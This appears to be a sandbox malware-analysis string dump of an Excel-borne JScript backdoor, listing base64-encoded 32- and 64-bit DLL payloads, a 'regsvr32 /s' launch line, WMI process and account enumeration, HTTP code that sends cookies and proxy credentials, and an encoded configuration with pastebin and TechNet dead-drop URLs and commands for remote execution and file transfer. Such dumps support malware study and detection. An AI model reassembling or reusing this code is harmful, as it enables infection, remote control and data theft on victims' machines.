Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "IAAQi/CD/v90cGoAVv8VCCAAEIv4g///dFlqBGgAMAAAV2oA/xVEIAAQi9iF23RDagBqAGoAVv8VECAAEGoAjU38UVdTVv8VPCAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "IQAQoAwhABCNjfj+//9RiRZoBQEAAI2V6Pz//1JoDSEAEGgQIQAQiEYEizVMIAAQaBghABD/1o2F+P7//1BoBQEAAI2N8P3//1Fo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "jUX8UGoEjU3kUYPGCFZSiXXg/xUwIAAQhcAPhC8BAACDffwED4UlAQAAi0XkO0c0dSFoqCAAEGjAIAAQ/xVcIAAQUP8VQCAAEItN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "O1X8dWkPt0cGQ4PGKDvYfMaLdeCLReiNTfxRagSNVfhSVlD/FWggABCFwHRBg338BHU7i08oA034i0XsjZXA/P//UlCJjXD9////";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "oSQwABBoBDAAEGgAMAAQoyAwABDo6wAAAP8FEDAAEFlZ6z2FwHU5oSQwABCFwHQwiw0gMAAQVo1x/DvwchKLDoXJdAf/0aEkMAAQ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "UFH/FVggABCAvfj+//8AjbX4/v//dAZGgD4AdfqAPi50CY1JAE6APi51+mgAIQAQVv8VjCAAEIPECIXAdAq4AQAAAF6L5V3DixUI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "UotVCI1NjFFQUGoEagFQUFJQiXXIiXXMx0W4AQEAAIlF6IlF7IlF8IlF9P8VNCAAEIXAD4QiAgAAaP8DAACNhcH4//9qAFDGhcD4";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "Uv/WM8BfXluL5V3DzMzMzMxVi+y4ABAAAOijAwAAi0UMU1aL2ehX+///i/CF9nUGXluL5V3DV2j/BwAAjYUB8P//agBQxoUA8P//";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "VldTagBo//8fAP8VJCAAEIvwhfZ0EGoBVv8VOCAAEFb/FWQgABBoJAEAAI1EJBhqAFDHRCQcKAEAAOhBBwAAg8QMagBqAv8VYCAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "VlP/0IXAdAxXVlPoFf///4XAdQQzwOtOV1ZT6Jj9//+D/gGJRQx1DIXAdTdXUFPo8f7//4X2dAWD/gN1JldWU+jg/v//hcB1AyFF";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ZCAAEF9euAEAAABbi+Vdw1WL7ItFCKMUMAAQuAEAAABdwgwAzMzMzMzMzMzMzMzMVYvsgewoBQAAiw0UMAAQVmgFAQAAjYX4/v//";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "zMzMzMzMzMzMzFaL8IX2fitXiz0YIAAQi/9o6AMAAFNO/9eFwHQEhfZ171P/FVQgABBQ6CL///+DxARfXsPMzMzMzMzMzMzMzMxV";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "/+schf90GEiLBXQVAABIhcB0DEyLxovTSIvN/9CL+EiLdCRASItsJDhIi1wkMIvHSIt8JEhIg8Qow/8lEgYAAMzMzMzMzMzMzMxI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "/0mLzf8V4wwAAEmLzf8VYg0AAEiNTQgz0kG4yAQAAEiJXQDo6QcAAEiLTCRYSI1VAMdFMAsAEAD/FW8MAACFwA+ErQEAAEyLrYgA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "6PIDAABIjY2BBAAAM9JBuP8HAADGhYAEAAAA6NcDAABMjY1gAgAATI1FQEiNFeUJAABIjY2ADAAA/xVkCQAASI2FYAIAAEyNjVAB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "7NAJAABIi4UgCQAAM9tNi/lIY3A8SIlcJGhJi/hIA/JMi+JMi/GBPlBFAAB0BzPA6XMDAAAz0kiNTZhMiawkAAoAAESNQmDHRZBo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "9AoAAEiLTCRY/xVZCwAASItMJFD/FU4LAAAzwEyLrCQACgAATI2cJNAJAABJi1tASYtzSEmL40FfQV5BXF9dw0iJDWEaAAC4AQAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABEi0wkYEiNFToOAABIjY3QBAAATIvHTIl8JCD/FeUNAABIg8n/M8BIjb3QBAAATI2NIAkAAPKuSI2V0AQAAEiJXCQgSPfRTI1B";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABEjUkE/xUXEAAASIvwSIXAdGVFM8lFM8Az0kiLy/8Vlg8AAEyNTCRYRIvHSIvWSIvLSMdEJCAAAAAA/xXRDwAAhcB0Ijt8JFh1";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABMjUVASI0VywkAAEiNjYAEAACJXCQoSIlEJCD/FTUJAABBu01aAABmRDkedAQz/+slTI2NgAQAAEyNhXADAABIjY2ADAAASIvW";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "ALoAAACARY1BAcdEJCgAAAAAx0QkIAMAAAD/Fc4PAABIi9hIg/j/D4SgAAAAM9JIi8j/Fb4PAACL+IP4/w+EgQAAADPJi9dBuAAw";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AMPMzMxIiVwkGFVIjawkgOv//7iAFQAA6LgFAABIK+BIiw02GgAASI1UJDBBuAUBAAD/Fc0KAACAfCQwAEiNXCQwdAmQSP/DgDsA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "BWIXAACFwA+OhwAAAEiLDXMXAAD/yEiFyYkFSBcAAHROSIsFVxcAAEiD6AhIO8FIiQVJFwAAciZIgzgAdBD/EEiLDUAXAABIiwUx";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "CAAAi8joqPj//0iLz/8VZwgAAEiLvCSYFQAASIu0JJAVAABIi5wkoBUAADPASIHEgBUAAF3DzMzMzMzMzMzMzMzMSIPsKIXSdXqL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "CgAASI0NqAoAAEUzwP8VGwkAAEiNjVABAACL2Oi9+P//SIvwSIXAD4QaAQAASI2NgQwAADPSQbj/BwAASIm8JJgVAADGhYAMAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "Cw8AAIXAdd9Ii8//FSYPAABIi5wkYAEAAEiBxFABAABfw8zMzMzMzMzMzMzMzMxIiVwkGEiJdCQgVVdBVEFWQVdIjawkMPf//0iB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "dfiAOy50Cw8fAEj/y4A7LnX4SI0VrQsAAEiLy/8VAAsAAIXAdBa4AQAAAEiLnCSgFQAASIHEgBUAAF3DiwWMCwAATI1NQEyNBYYL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "DYoNAAD/FcQMAABIjRVlDQAASIvI/xV8DAAASItUJHBIi0wkUP/QRItGUEiLVjBIi0wkUEG5ADAAAMdEJCBAAAAA/xVfDAAASIlE";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "g+woSIlsJDhIiXQkQEiJfCRIM/9IiVwkMEiL8b3/////SIvO6EQAAABIhcBIi9h1I4vP/xW+BQAARI2f6AMAAEGB+2DqAABBi/sP";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "hbAAAACLDeUVAACFyQ+OogAAAP/JiQ3VFQAASIsN7hUAAEiFyQ+EigAAAEiLBdYVAABIg+gISDvBSIkFyBUAAHImSIM4AHQQ/xBI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "hcB0EUyLxovTSIvN6Lr+//+FwHUWM8BIi3QkQEiLbCQ4SItcJDBIg8Qow0yLxovTSIvNSIl8JEjonvv//4P7AYv4D4V+AAAAhcAP";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "HEiLy/8VDhAAAEiLxkiLXCRQSIt0JGBIg8RAX8Mz0kG4AIAAAEiLzv8VWg8AAEiLy/8V4Q8AAEiLXCRQSIt0JGAzwEiDxEBfw8zM";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "IAIAAAD/FYsNAABMi+hIg/j/D4TwAgAASIlF6EiJRfAzwEiJRCRYSIlEJGBIjUQkUEiJRCRISI1FkEUzyUiJRCRASIlcJDhIiVwk";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "iw2/FQAASIsFsBUAAEiD6AhIO8FIiQWiFQAAc9r/FYIGAABIxwWXFQAAAAAAAOs6hdt0BYP7A3UxTIvGi9NIi83o7/3//4XAdQQz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JEyJXCQITTPbTI1UJBhMK9BND0LTZUyLHCUQAAAATTvTcxZmQYHiAPBNjZsA8P//QcYDAE0703XwTIsUJEyLXCQISIPEEMMAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "MEiJbCQ4SIl0JECL2kiL6UmL8HUeORVrFgAAdVkzwEiLdCRASItsJDhIi1wkMEiDxCjDg/oBdAWD+gJ1OUiLBWoWAABIhcB0Bv/Q";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "R/07/XXQSIvDSIt8JEhIi3QkQEiLbCQ4SItcJDBIg8Qow/8lpAUAAP8ltgUAAMzMzMzMzMzMzMzMzGZmZpBmZmaQZpBIg+wQTIkU";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "SIl0JCDos/n//0iL+DPSQbgAgAAASIvO/xUXCAAASIX/dDuF234uZg8fRAAAuugDAABIi8//y/8V8AcAAIXAdASF23XoSIvP/xVX";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "SIPEKMNIxwAAAAAASIsF3hYAAEiNFe8HAABIjQ3gBwAASIkFwRYAAOiEAQAA/wWeFgAAuAEAAABIg8Qow8zMzMxIg+wohdJIiVwk";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "t0YG/8NIg8coO9h8sEiLTCRQSI2FCAkAAEyNRCRoSY1VEEG5CAAAAEiJRCQg/xXTCwAAhcB0RUiDvQgJAAAIdTuLRihIi0wkWEiN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "uCwBAADHRCQgMAEAAOgMCgAAM9KNSgL/FV0PAABIjVQkIEiLyEiL+P8VtA4AAIXAdCE5XCRAdQmLTCQo6Hn///9IjVQkIEiLz/8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "VQBIA0QkaEiJhYAAAAD/Fe8KAABIi0wkWP8VpAsAAEiLTCRY/xWJCwAASItEJFDrNkiLVCRoSIXSdBRIi0wkUEG5AIAAAEUzwP8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "x0QkIAUBAAD/FbMJAABMjVwkMEyNjXADAABMiVwkKEyNBcwKAABIjRXkCgAASI0NyQoAAMdEJCAFAQAA/xV/CQAATI1MJDBIjRXL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "zMzMzMxIiVwkCFdIgexQAQAAi9lEi8Ez0rn//x8A/xUpDwAASIv4SIXAdBe6AQAAAEiLyP8VOw8AAEiLz/8Vig8AAEiNTCQkM9JB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDllName = '~.' + this.randStr(16);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDllPath = this.tmpDir + '\\' + mockDllName + '.dll';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockIniPath = this.tmpDir + '\\' + mockDllName + '.ini';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockOutPath = this.tmpDir + '\\' + mockDllName + '.out';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockRun:function(real, args, timeout, mock){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mutexFile : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mutexFileName : '_xmutex_',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mutexFilePath : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
navigateIE:function(ie, url){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
node.dataType = 'bin.base64';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
node.text = bin;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
now:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
NtSetInformationProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
oExec = this.oShell.Exec(cmdline);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oExec.Terminate();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oFile.Write(base64decode(JSCode));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oHttp = new ActiveXObject('MSXML2.ServerXMLHTTP.6.0');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.open('GET', url, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.open(method, url, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.send();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.send(data);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setOption(2, 13056);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxy(SXH_PROXY_SET_PRECONFIG);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxy(SXH_PROXY_SET_PROXY, proxy, '<local>');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxyCredentials(username, password);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setRequestHeader('CONTENT-TYPE', 'application/x-www-form-urlencoded');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setRequestHeader('Cookie', cookie);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
orz.fire();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oShell = new ActiveXObject('WScript.Shell');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
out += String.fromCharCode(((c2 & 0xF) << 4) | ((c3 & 0x3C) >> 2));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out += String.fromCharCode(((c3 & 0x03) << 6) | c4)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
outFile = this.oFS.OpenTextFile(mockOutPath, ForReading);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
outFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
outParams = proc.ExecMethod_(method.Name, null);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr3);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = this._utf8_decode(output);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oWS = new ActiveXObject('WScript.shell'); oFS = new ActiveXObject('Scripting.FileSystemObject'); oApp = new ActiveXObject('Shell.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oWS = new ActiveXObject('WScript.shell'); oFS = new ActiveXObject('Scripting.FileSystemObject'); oApp = new ActiveXObject('Shell.Application');randName='~HFYJEZHM';JSCode='dmFyIG9yej0NCnsNCgliRGVidWcgOiBmYWxzZSwNCgliRGVsZXRlU2VsZiA6IGZhbHNlLA0KCWVyckxvZ0ZpbG
Ansi based on Runtime Data (EXCEL.EXE )
oWS.run('regsvr32 /s "'+tempDir+'\\'+randName+'.dll"', 0);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
password.name = this.pName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
password.value = this.id.split("").reverse().join("");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pCreate:function(CommandLine){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pExists:function(processId){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pId : 'password',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pid = this.pCreate('cscript /E:JScript /nologo "'+scriptFilePath+'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pInfo:function(pid, query){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pKill:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pKillTree:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pList:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = procList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = procList[j];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
procList = [];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
procList.push(proc);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
property = pe.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
property = proc.Properties_.item(bander) + ' ';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proxy:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pTree:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
qSession:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
query = query.replace(/\s/g, '');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
queryArray = query.split(',');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
queryStr = 'Select * From Win32_Account where SIDType=1 and LocalAccount=TRUE';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
quit:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
randName='~HFYJEZHM';JSCode='dmFyIG9yej0NCnsNCgliRGVidWcgOiBmYWxzZSwNCgliRGVsZXRlU2VsZiA6IGZhbHNlLA0KCWVyckxvZ0ZpbGVQYXRoIDogJycsDQoJDQoJYk11dGV4IDogZmFsc2UsDQoJbXV0ZXhGaWxlTmFtZSA6ICdfeG11dGV4XycsDQoJbXV0ZXhGaWxlUGF0aCA6ICcnLA0KCW11dGV4RmlsZSA6IG51bGwsDQoJDQoJYkZvcmV2ZXJUcnkgOiB0cnVlLA0KCXJldHJ5SW50ZXJ2YWwgOiAxMDAwKjYwKjI1LA0KCXJldHJ5VGltZSA6IDMsDQoJYkZpcnN0VHJ5IDogdHJ1ZSwNCgkNCglpbml0VXJsIDogJ2Fib3V0OmJsYW5rJywNCglqbXBVcmw6ICcnLA0KCWptcFVybExpc3QgOiBbJ2h0dHBzOi8vc29jaWFsLnRlY2huZXQubWljcm9zb2Z0LmNvbS9Qcm9maWxlL3RlY2huZXR4dWtiYWt1cHNlJywnaHR0cHM6Ly9zb2NpYWwudGVjaG5ldC5taWNyb3NvZnQuY29tL1Byb2ZpbGUvdGVjaG5ldHh1aycsJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vUmpONGFQWWInXSwNCglqbXBSZWdleCA6IC9sa2hkPT1hZD1uZiguKj8pPWxramY9a24vLA0KCWNvZGVSZWdleCA6IC9oZD04N2RzKC4qPyk9ZGRmaGsvLA0KCWluaXRDb2RlIDogJycsDQoJZHN0VXJsIDogJycsDQoJDQoJbG9naW5Gb3JtSWQgOiAnbG9naW5Gb3JtJywNCglsb2dpbkFjdGlvbiA6ICdhamF4LnBocCcsDQoJdUlkIDogJ3VzZXJuYW1lJywNCglwSWQgOiAncGFzc3dvcmQnLA0KCXZJZCA6ICd2YWxpY29kZScsDQoJc0lkIDogJ3N1Ym1pdCcsDQoJdU5hbWUgOiAndXNlcm5hbWUnLA0KCXBOYW1lIDogJ3Bhc3N3b3JkJywNCgl2TmFtZSA6ICd2YWxpY29kZScsDQoJdmFsaWNvZGUgOiAnb21lZ2EnLA0KCXdvcmtGbGFnSWQgOiAnd29ya0ZsYWcnLA0KCXdvcmtGbGFnWWVzIDogJ1knLA0KCXdvcmtGbGFnTm8gOiAnTicsDQoJaWRsZVNlY29uZEJlZm9yZUZyZXNoIDogNjAqMzAsDQoJDQoJY2FzZVJlYXV0aCA6ICdyZWF1dGgnLA0KCWNhc2VFeGVjQ21kIDogJ3h4eCcsDQoJY2FzZURvd25GaWxlIDogJ2RkZCcsDQoJY2FzZVVwRmlsZSA6ICd1dXUnLA0KCWNhc2VDb2RlIDogJ2NjYycsDQoJY2FzZURvd25GaWxlRGF0YSA6ICdkZHQnLA0KCXNwbGl0Q2hhciA6ICd8JywNCgkNCglkb3duRmlsZSA6ICcnLA0KCWRvd25TdGFydCA6ICcnLA0KCWRvd25FbmQgOiAnJywNCglkb3duU2l6ZSA6IDAsDQoJZG93bkluZGV4IDogMCwNCglkb3duQ291bnQgOiAwLA0KCWRvd25PbmNlIDogMTAyNCAqIDIwMCwNCglkb3duSW50ZXJ2YWwgOiA1LA0KCWRvd25PayA6IHRydWUsDQoJDQoJdXBGaWxlIDogJycsDQoJdXBTdGFydCA6ICcnLA0KCXVwRW5kIDogJycsDQoJdXBTaXplIDogMCwNCgl1cEluZGV4IDogMCwNCgl1cENvdW50IDogMCwNCgl1cE9uY2UgOiAwLA0KCXVwSW50ZXJ2YWwgOiA1LA0KCXVwT2sgOiB0cnVlLA0KCQ0KCW9JRSA6IG51bGwsDQoJb1NoZWxsIDogbnVsbCwNCglvTmV0IDogbnVsbCwNCglvRlMgOiBudWxsLA0KCW9TQSA6IG51bGwsDQoJb1diZW1Mb2NhdG9yIDogbnVsbCwNCglvQ2ltdjIgOiBudWxsLA0KCXRtcERpciA6ICcnLA0KCXN0YXJ0dXBEaXIgOiAnJywNCglhbGxTdGFydHVwRGlyIDogJycsDQoJZGlycyA6ICcnLA0KCW9zQml0IDogJycsDQoJaWQgOiAnJywNCgkNCglCYXNlNjRfTW9ja0RsbDMyIDogJycsDQoJQmFzZTY0X01vY2tEbGw2NCA6ICcnLA0KCQ0KCWFkb0NvbiA6IG51bGwsDQoJYWRvUmVjIDogbnVsbCwNCgkNCgkvKioqKioqKioqKioqKiBCYXNpYyAqKioqKioqKioqKioqLw0KCXNob3dPYmo6ZnVuY3Rpb24ob2JqKXsNCgkJdmFyIHJlcyA9ICcnOw0KCQlmb3IodmFyIGkgaW4gb2JqKXsNCgkJCXJlcyArPSBpKyI6ICIrb2JqW2ldKycsXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCglkb3duSW5mbzpmdW5jdGlvbigpew0KCQlpbmZvID0gJyc7DQoJCWluZm8gKz0gJ2Rvd25TdGFydD0nK3RoaXMuZG93blN0YXJ0KydcbmRvd25FbmQ9Jyt0aGlzLmRvd25FbmQ7DQoJCWluZm8gKz0gJ1xuZG93bkZpbGU9Jyt0aGlzLmRvd25GaWxlKydcbmRvd25TaXplPScrdGhpcy5kb3duU2l6ZTsNCgkJaW5mbyArPSAnXG5kb3duT25jZT0nK3RoaXMuZG93bk9uY2UrJ1xuZG93bkludGVydmFsPScrdGhpcy5kb3duSW50ZXJ2YWw7DQoJCWluZm8gKz0gJ1xuUGVyY2VudD0nK3RoaXMuZG93bkluZGV4KycvJyt0aGlzLmRvd25Db3VudDsNCgkJaW5mbyArPSAnXG5kb3duT2s9Jyt0aGlzLmRvd25PaysnXG4nOw0KCQlyZXR1cm4gaW5mbzsNCgl9LA0KCXVwSW5mbzpmdW5jdGlvbigpew0KCQlpbmZvID0gJyc7DQoJCWluZm8gKz0gJ3VwU3RhcnQ9Jyt0aGlzLnVwU3RhcnQrJ1xudXBFbmQ9Jyt0aGlzLnVwRW5kOw0KCQlpbmZvICs9ICdcbnVwRmlsZT0nK3RoaXMudXBGaWxlKydcbnVwU2l6ZT0nK3RoaXMudXBTaXplOw0KCQlpbmZvICs9ICdcbnVwT25jZT0nK3RoaXMudXBPbmNlKydcbnVwSW50ZXJ2YWw9Jyt0aGlzLnVwSW50ZXJ2YWw7DQoJCWluZm8gKz0gJ1xuUGVyY2VudD0nK3RoaXMudXBJbmRleCsnLycrdGhpcy51cENvdW50Ow0KCQlpbmZvICs9ICdcbnVwT2s9Jyt0aGlzLnVwT2srJ1xuJzsNCgkJcmV0dXJuIGluZm87DQoJfSwNCgl0cmFuSW5mbzpmdW5jdGlvbigpew0KCQlyZXR1cm4gdGhpcy51cEluZm8oKSsnXG4nK3RoaXMuZG93bkluZm8oKTsNCgl9LA0KCWdldE9TQml0OmZ1bmN0aW9uKCl7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNlbGVjdCAqIGZyb20gV2luMzJfUHJvY2Vzc29yIikpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCWVsZSA9IGUuaXRlbSgpOw0KCQkJcmV0dXJuIGVsZS5BZGRyZXNzV2lkdGg7DQoJCX0NCgkJcmV0dXJuICd1bmtub3duJzsNCgl9LA0KCW5vdzpmdW5jdGlvbigpew0KCQl2YXIgbXlEYXRlID0gbmV3IERhdGUoKTsNCgkJdmFyIG1pbnV0ZSA9IG15RGF0ZS5nZXRNaW51dGVzKCk7DQoJCXZhciBzZWNvbmRzID0gbXlEYXRlLmdldFNlY29uZHMoKTsNCgkJaWYgKHBhcnNlSW50KG1pbnV0ZSkgPCAxMCl7DQoJCQltaW51dGUgPSAiMCIgKyBtaW51dGU7DQoJCX0NCgkJaWYgKHBhcnNlSW50KHNlY29uZHMpIDwgMTApew0KCQkJc2Vjb25kcyA9ICIwIiArIHNlY29uZHM7DQoJCX0NCgkJcmV0dXJuIG15RGF0ZS5nZXRGdWxsWWVhcigpKyItIisobXlEYXRlLmdldE1vbnRoKCkrMSkrIi0iK215RGF0ZS5nZXREYXRlKCkrIiAiK215RGF0ZS5nZXRIb3VycygpKyI6IisgbWludXRlICsiOiIrIHNlY29uZHMNCgl9LA0KCWVyck9ialRvU3RyOmZ1bmN0aW9uKGVycil7DQoJCWlmKHR5cGVvZihlcnIpPT0nb2JqZWN0Jyl7DQoJCQlyZXR1cm4gZXJyLm5hbWUrJzonKyAoZXJyLm51bWJlciAmIDB4RkZGRikudG9TdHJpbmcoKSArICJ8IiArIGVyci5kZXNjcmlwdGlvbjsNCgkJfQ0KCQlyZXR1cm4gJyc7DQoJfSwNCgllcnJMb2c6ZnVuY3Rpb24oZXJyKXsNCgkJdGV4dCA9ICcnOw0KCQlpZih0eXBlb2YoZXJyKT09J29iamVjdCcpew0KCQkJdGV4dCA9IHRoaXMuZXJyT2JqVG9TdHIoZXJyKTsNCgkJfWVsc2UgaWYodHlwZW9mKGVycik9PSdzdHJpbmcnKXsNCgkJCXRleHQgPSBlcnI7DQoJCX0NCgkJZnNvID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1NjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0Jyk7DQoJCW9TaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7DQoJCXRoaXMuZXJyTG9nRmlsZVBhdGggPSBvU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCcldGVtcCUnKSArICdcXF9FcnJvckxvZy50eHQnOw0KCQlmID0gZnNvLk9wZW5UZXh0RmlsZSh0aGlzLmVyckxvZ0ZpbGVQYXRoLCA4LCB0cnVlKTsNCgkJZi5Xcml0ZUxpbmUodGhpcy5ub3coKSsnOicrdGV4dCk7DQoJCWYuQ2xvc2UoKTsNCgl9LA0KCXF1aXQ6ZnVuY3Rpb24oKXsNCgkJdHJ5e3RoaXMub0lFLlF1aXQoKTt9Y2F0Y2goZSl7fQ0KCQl0cnl7V1NjcmlwdC5RdWl0KCk7fWNhdGNoKGUpe30NCgl9LA0KCQ0KCWluaXRCYXNlOmZ1bmN0aW9uKCl7DQoJCXRoaXMub1NoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuU2hlbGwnKTsNCgkJdGhpcy5vTmV0ID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuTmV0d29yaycpOw0KCQl0aGlzLm9GUyA9IG5ldyBBY3RpdmVYT2JqZWN0KCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOw0KCQ